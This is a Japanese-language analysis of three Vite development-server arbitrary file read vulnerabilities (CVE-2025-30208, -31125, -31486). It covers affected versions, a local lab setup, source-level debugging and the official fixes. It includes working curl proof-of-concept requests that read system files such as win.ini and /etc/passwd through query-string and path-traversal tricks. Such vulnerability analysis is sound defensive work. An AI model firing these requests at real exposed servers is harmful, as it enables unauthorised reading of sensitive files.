
CVE-2025-30208、CVE-2025-31125、CVE-2025-31486 は、Vite 開発サーバーにおける任意ファイル読み取りの脆弱性です。この脆弱性により、攻撃者は特定の URL パラメータを通じてアクセス制御を回避し、fs モジュールを介してサーバー上の機密ファイルを読み取ることができます。上記の 3 つの脆弱性は、原因が非常に似ているため、1 つのシリーズの脆弱性と見なすことができます。
CVE-2025-30208 の影響を受けるバージョンは以下のとおりです。
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
CVE-2025-31125 の影響を受けるバージョンは以下のとおりです。
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
CVE-2025-31486 の影響を受けるバージョンは以下のとおりです。
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
ローカルでゼロから脆弱性環境を構築する場合、まず create-vite を使用してプロジェクトを作成します。
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
このとき生成される package.json 内の Vite バージョンには ^ 記号が含まれている可能性があります(例: "vite": "^6.2.0")。手動で正確なバージョン番号(例: "vite": "6.2.0")に変更してから、以下を実行してください:
npm install
最後に環境を起動するだけです:
npm run dev
もちろん、このリポジトリ内の vuln-env フォルダを直接利用して、npm install の後に npm run dev を実行するだけでも構いません。
便宜上、3 つの脆弱性の再現はいずれも 6.2.0 バージョンで行いました。npm run dev を実行し、環境の起動を待ちます。

CVE-2025-30208 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

CVE-2025-31125 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
読み取られた内容は base64 エンコードされており、デコードすると元のファイル内容が得られます。

CVE-2025-31486 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
アドバイザリで言及されている相対パスによる読み取りの POC は以下のとおりです。
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x はローカルプロジェクトのパスを表します。ローカルでテストした POC は以下のとおりです。
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
POC は基本的に 2 つのタイプに分かれていることがわかります。HTTP Header を追加しないものには ?import& が存在する必要があります。ここでは詳しく説明せず、ソースコード分析の段階で説明します。
ソースコードを分析するにはデバッグが必要です。ここでは vscode でプロジェクトをデバッグします。launch.json ファイルの内容は以下のとおりです。
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
公式の修正パッチを見ると、transformMiddleware 関数内の URL 形式の検出と、サービスにアクセスできるかどうかを判断する if 文が強化されています。そこで transformMiddleware 関数にブレークポイントを設定し、リクエストの解析プロセスを追っていきます。

作成されたプロジェクトにはコンパイル済みの js ファイルしかないため、全ファイルから関数キーワードを直接検索してブレークポイントを追加します。

POC を実行すると、正常に対象の関数でブレークしました。いくつかの変数への代入を経て、呼び出しプロセスが viteTransformMiddleware 関数に入り、リクエストメソッドが GET かどうか、およびリクエストがルートディレクトリとアイコンに対するものかどうかを判断した後、URL は removeTimestampQuery によって末尾の ? が削除されていることがわかります。
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
cleanUrl() を使用してリクエストパラメータを含まない URL を取得します。このとき withoutQuery の値は "/@fs/c:/windows/win.ini" となるため、if (!isSourceMap) コードブロックには入りません。続いて publicDirInRoot によって静的リソースディレクトリがプロジェクトのルートディレクトリに設定されているかどうかを判断し、url.startsWith(publicPath) でリクエストされた URL が設定された公開パス(例: /public/)で始まるかどうかをチェックします。2 つの条件が同時に満たされた場合、warnAboutExplicitPublicPathInUrl(url) を呼び出して警告を発します。これは通常、開発者がコード内で公開パスを誤って重複して追加している可能性を示します。この URL は条件に適合しないため、対応するコードブロックもスキップされます。rawRE.test(url) と urlRE.test(url) の結果はどちらも False となるため、ensureServingAccess() の結果は判定されず、論理式の結果が直接 False に設定されてコードブロックがスキップされます。続く if 判定では、URL が ImportQueryRE で定義された正規表現に適合するため if コードブロックに入り、URL は removeImportQuery() 関数によって /@fs/c:/windows/win.ini?raw に変更され、transformRequest() 関数に送られます。
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
isJSRequest(url) を判定する if 文では、HTTP Header の sec-fetch-dest の値が script であるかどうかも判定されており、そうであれば同様に判定を通過できます。これが前述の POC が基本的に 2 つのタイプに分かれる理由であり、HTTP Header の追加と ?import& の付与は、いずれも if 文の判定を通過するためのものです。(実際には他の方法でも判定を通過できます。例えば isHTMLProxy(url) による /@fs/c:/windows/win.ini?html-proxy&raw?? などです。)

パラメータ処理、環境チェック、キャッシュキーと重複リクエスト検出を経て、doTransform() 関数に入ります。

キャッシュの有効性チェックを経て、URL /@fs/c:/windows/win.ini?raw が解析され、ID c:/windows/win.ini?raw が得られた後、loadAndTransform() 関数に入ります。

同様にいくつかの代入操作を経た後、id の値に基づいてプラグインが読み込まれます。プラグインの読み込み順序は以下のとおりです。
vite:optimized-deps
↓
vite:modulepreload-polyfill
↓
vite:resolve
↓
vite:html-inline-proxy
↓
vite:css
↓
vite:wasm-helper
↓
vite:worker
↓
vite:asset

CVE-2025-30208 の原因は、攻撃者が巧妙に構築した URL が解析・処理された後、assetPlugin プラグインの if (rawRE.test(id)) の判定を通過し、fsp.readFile() 関数に送られてローカルファイルの読み取りが発生したことです。

CVE-2025-31125 の原因は、URL が解析された後、wasmHelperPlugin プラグインの id.endsWith(".wasm?init") 条件を満たし、fileToUrl$1() 関数に送られ、さらに inlineRE$2.test(id) を満たした後に fsp.readFile() 関数に送られてローカルファイルの読み取りが発生したことです。

CVE-2025-31486 は CVE-2025-31125 と非常によく似ています。CVE-2025-31125 の分析図からわかるように、fileToDevUrl() 関数には正規表現判定を含む if 文が合計 2 つしかありません。inlineRE$2.test(id) が含まれる if コードブロックが CVE-2025-31125 のトリガー位置であり、その直後の svgExtRE.test(id) の if コードブロックが CVE-2025-31486 のトリガー位置です。
一方、相対パスによる悪用方法は、ensureServingAccess() の検証を迂回するものです。
URL が isFileServingAllowed() 関数に入ると、まず fsPathFromUrl() 内の cleanUrl() によって ?# 以降の内容が除去されます。そのため、POC 内の URL では以下のような変化が発生します。
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
⬇
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/
その後、URL は isFileLoadingAllowed() 内の isUriFilePath() で検証され、続いて isParentDirectory() の判定を通過します。

修正コミット 262b5ec を見ると、公式が採用した修正方法は、パラメータ末尾の余分な ? を除去するというものです。これにより、パラメータが if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)) に直面したとき、rawRE.test() が正常にマッチするため ensureServingAccess() に正常に入り、サービスがアクセスを許可しているかを検証できるようになり、修正前の論理式のショートサーキットによる未承認の読み取りを回避しています。

修正コミット 5967313 を見ると、公式は正規表現 inlineRE を追加しました。これにより、?inline=1.wasm?init は正規表現にマッチし、その後正常に ensureServingAccess() に入ってサービスにアクセスできるかどうかを判断します。

修正コミット 62d7e81 を見ると、公式の修正は主に 2 つの部分で構成されています。最初の部分は、.svg による迂回を処理するために新しい正規表現 svgRE を追加したことです。

2 つ目の部分は、相対パスによる読み取りを処理するために、パラメータ id をクリーンアップしてから svgRe.test() に渡すことで、svgRe.test() の検証に参加するパラメータと file の結合に参加するパラメータを一致させるというものです。
